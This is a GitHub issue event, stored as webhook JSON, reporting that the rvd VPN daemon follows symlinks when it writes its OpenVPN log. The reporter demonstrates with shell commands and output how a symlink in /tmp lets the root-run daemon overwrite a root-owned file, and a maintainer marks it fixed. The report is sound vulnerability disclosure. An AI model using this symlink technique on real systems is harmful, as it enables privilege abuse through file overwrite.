{"action":"created","issue":{"url":"https://api.github.com/repos/riboseinc/rvc/issues/67","repository_url":"https://api.github.com/repos/riboseinc/rvc","labels_url":"https://api.github.com/repos/riboseinc/rvc/issues/67/labels{/name}","comments_url":"https://api.github.com/repos/riboseinc/rvc/issues/67/comments","events_url":"https://api.github.com/repos/riboseinc/rvc/issues/67/events","html_url":"https://github.com/riboseinc/rvc/issues/67","id":254553157,"number":67,"title":"rvd follows symlinks","user":{"login":"erikbor","id":25045442,"avatar_url":"https://avatars0.githubusercontent.com/u/25045442?v=4","gravatar_id":"","url":"https://api.github.com/users/erikbor","html_url":"https://github.com/erikbor","followers_url":"https://api.github.com/users/erikbor/followers","following_url":"https://api.github.com/users/erikbor/following{/other_user}","gists_url":"https://api.github.com/users/erikbor/gists{/gist_id}","starred_url":"https://api.github.com/users/erikbor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/erikbor/subscriptions","organizations_url":"https://api.github.com/users/erikbor/orgs","repos_url":"https://api.github.com/users/erikbor/repos","events_url":"https://api.github.com/users/erikbor/events{/privacy}","received_events_url":"https://api.github.com/users/erikbor/received_events","type":"User","site_admin":false},"labels":[{"id":648627168,"url":"https://api.github.com/repos/riboseinc/rvc/labels/bug","name":"bug","color":"ee0701","default":true}],"state":"closed","locked":false,"assignee":{"login":"jjr840430","id":26965417,"avatar_url":"https://avatars2.githubusercontent.com/u/26965417?v=4","gravatar_id":"","url":"https://api.github.com/users/jjr840430","html_url":"https://github.com/jjr840430","followers_url":"https://api.github.com/users/jjr840430/followers","following_url":"https://api.github.com/users/jjr840430/following{/other_user}","gists_url":"https://api.github.com/users/jjr840430/gists{/gist_id}","starred_url":"https://api.github.com/users/jjr840430/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jjr840430/subscriptions","organizations_url":"https://api.github.com/users/jjr840430/orgs","repos_url":"https://api.github.com/users/jjr840430/repos","events_url":"https://api.github.com/users/jjr840430/events{/privacy}","received_events_url":"https://api.github.com/users/jjr840430/received_events","type":"User","site_admin":false},"assignees":[{"login":"jjr840430","id":26965417,"avatar_url":"https://avatars2.githubusercontent.com/u/26965417?v=4","gravatar_id":"","url":"https://api.github.com/users/jjr840430","html_url":"https://github.com/jjr840430","followers_url":"https://api.github.com/users/jjr840430/followers","following_url":"https://api.github.com/users/jjr840430/following{/other_user}","gists_url":"https://api.github.com/users/jjr840430/gists{/gist_id}","starred_url":"https://api.github.com/users/jjr840430/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jjr840430/subscriptions","organizations_url":"https://api.github.com/users/jjr840430/orgs","repos_url":"https://api.github.com/users/jjr840430/repos","events_url":"https://api.github.com/users/jjr840430/events{/privacy}","received_events_url":"https://api.github.com/users/jjr840430/received_events","type":"User","site_admin":false}],"milestone":null,"comments":0,"created_at":"2017-09-01T06:59:04Z","updated_at":"2017-09-01T10:32:07Z","closed_at":"2017-09-01T10:32:07Z","author_association":"NONE","body":"@jjr840430 rvd follows symlinks making it possible to overwrite any root owned file:\r\n\r\n```sh\r\n$ sudo cp /bin/ls /tmp/root_owned\r\n$ ls -la /tmp/root_owned\r\n-rwxr-xr-x  1 root  wheel  38624 Sep  1 14:54 /tmp/root_owned\r\n```\r\n\r\nNow create a symlink:\r\n```sh\r\n$ ls -la /tmp/ct.ovpn.log \r\nls: /tmp/ct.ovpn.log: No such file or directory\r\n$ ln -s /tmp/root_owned /tmp/ct.ovpn.log\r\n$ ls -la /tmp/root_owned /tmp/ct.ovpn.log\r\nlrwxr-xr-x  1 test  wheel     15 Sep  1 14:55 /tmp/ct.ovpn.log -> /tmp/root_owned\r\n-rwxr-xr-x  1 root           wheel  38624 Sep  1 14:54 /tmp/root_owned\r\n```\r\n\r\nNow start rvd with the 'ct' VPN set to autoconnect:\r\n```sh\r\n$ sudo ./rvd \r\n2017-09-01T14:57:42HKT\tINFO : Main: Initializing rvd context(at rvd.c:281)\r\n2017-09-01T14:57:42HKT\tINFO : CMD: Initializing rvd command processor(at cmd.c:514)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Initializing VPN connection manager(at vpn.c:1249)\r\n2017-09-01T14:57:42HKT\tINFO : CMD: Starting rvd command processing thread(at cmd.c:404)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Reading configuration files in '/opt/rvc/etc/vpn.d'(at vpn.c:973)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Parsing configuration file '/opt/rvc/etc/vpn.d/ct.json'(at vpn.c:901)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Added VPN configuration with name 'ct', openvpn path '/opt/rvc/etc/vpn.d/ct.ovpn'(at vpn.c:115)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: The auto-connect for VPN connection 'ct' is enabled. Try to start it.(at vpn.c:1265)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Starting VPN connection with name 'ct'(at vpn.c:557)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Starting VPN connection monitoring thread with name 'ct'(at vpn.c:1149)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: Running OpenVPN process for connection 'ct'(at vpn.c:410)\r\n2017-09-01T14:57:42HKT\tINFO : VPN: The OpenVPN process ID for connection 'ct' is 94924(at vpn.c:448)\r\n2017-09-01T14:57:43HKT\tINFO : VPN: Creating OpenVPN management socket for connection 'ct'(at vpn.c:209)\r\n2017-09-01T14:57:43HKT\tINFO : VPN: Getting OpenVPN connection state with name 'ct'(at vpn.c:521)\r\n2017-09-01T14:57:43HKT\tINFO : VPN: The connection state for name 'ct' is 'DISCONNECTED'(at vpn.c:531)\r\n2017-09-01T14:57:44HKT\tINFO : VPN: The connection state for name 'ct' is 'CONNECTED'(at vpn.c:531)\r\n2017-09-01T14:57:44HKT\tINFO : VPN: VPN connection with name 'ct' has been succeeded(at vpn.c:573)\r\n```\r\n\r\nNow look at what happened to ```/tmp/root_owned```:\r\n```sh\r\n$ ls -la /tmp/root_owned /tmp/ct.ovpn.log\r\nlrwxr-xr-x  1 test  wheel    15 Sep  1 14:55 /tmp/ct.ovpn.log -> /tmp/root_owned\r\n-rwxr-xr-x  1 root           wheel  3932 Sep  1 14:57 /tmp/root_owned\r\n$ head -5 /tmp/root_owned\r\nFri Sep  1 14:57:42 2017 OpenVPN 2.4.3 x86_64-apple-darwin16.6.0 [SSL (OpenSSL)] [LZO] [LZ4] [PKCS11] [MH/RECVDA] [AEAD] built on Jun 21 2017\r\nFri Sep  1 14:57:42 2017 library versions: OpenSSL 1.0.2l  25 May 2017, LZO 2.10\r\nFri Sep  1 14:57:42 2017 MANAGEMENT: TCP Socket listening on [AF_INET]127.0.0.1:6001\r\nFri Sep  1 14:57:42 2017 TCP/UDP: Preserving recently used remote address: [AF_INET]103.31.22.206:1194\r\nFri Sep  1 14:57:42 2017 Socket Buffers: R=[196724->196724] S=[9216->9216]\r\n```"},"comment":{"url":"https://api.github.com/repos/riboseinc/rvc/issues/comments/326547982","html_url":"https://github.com/riboseinc/rvc/issues/67#issuecomment-326547982","issue_url":"https://api.github.com/repos/riboseinc/rvc/issues/67","id":326547982,"user":{"login":"jjr840430","id":26965417,"avatar_url":"https://avatars2.githubusercontent.com/u/26965417?v=4","gravatar_id":"","url":"https://api.github.com/users/jjr840430","html_url":"https://github.com/jjr840430","followers_url":"https://api.github.com/users/jjr840430/followers","following_url":"https://api.github.com/users/jjr840430/following{/other_user}","gists_url":"https://api.github.com/users/jjr840430/gists{/gist_id}","starred_url":"https://api.github.com/users/jjr840430/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jjr840430/subscriptions","organizations_url":"https://api.github.com/users/jjr840430/orgs","repos_url":"https://api.github.com/users/jjr840430/repos","events_url":"https://api.github.com/users/jjr840430/events{/privacy}","received_events_url":"https://api.github.com/users/jjr840430/received_events","type":"User","site_admin":false},"created_at":"2017-09-01T10:32:07Z","updated_at":"2017-09-01T10:32:07Z","author_association":"CONTRIBUTOR","body":"fixed on #74 "}}
{"actor":{"display_login":"jjr840430"}}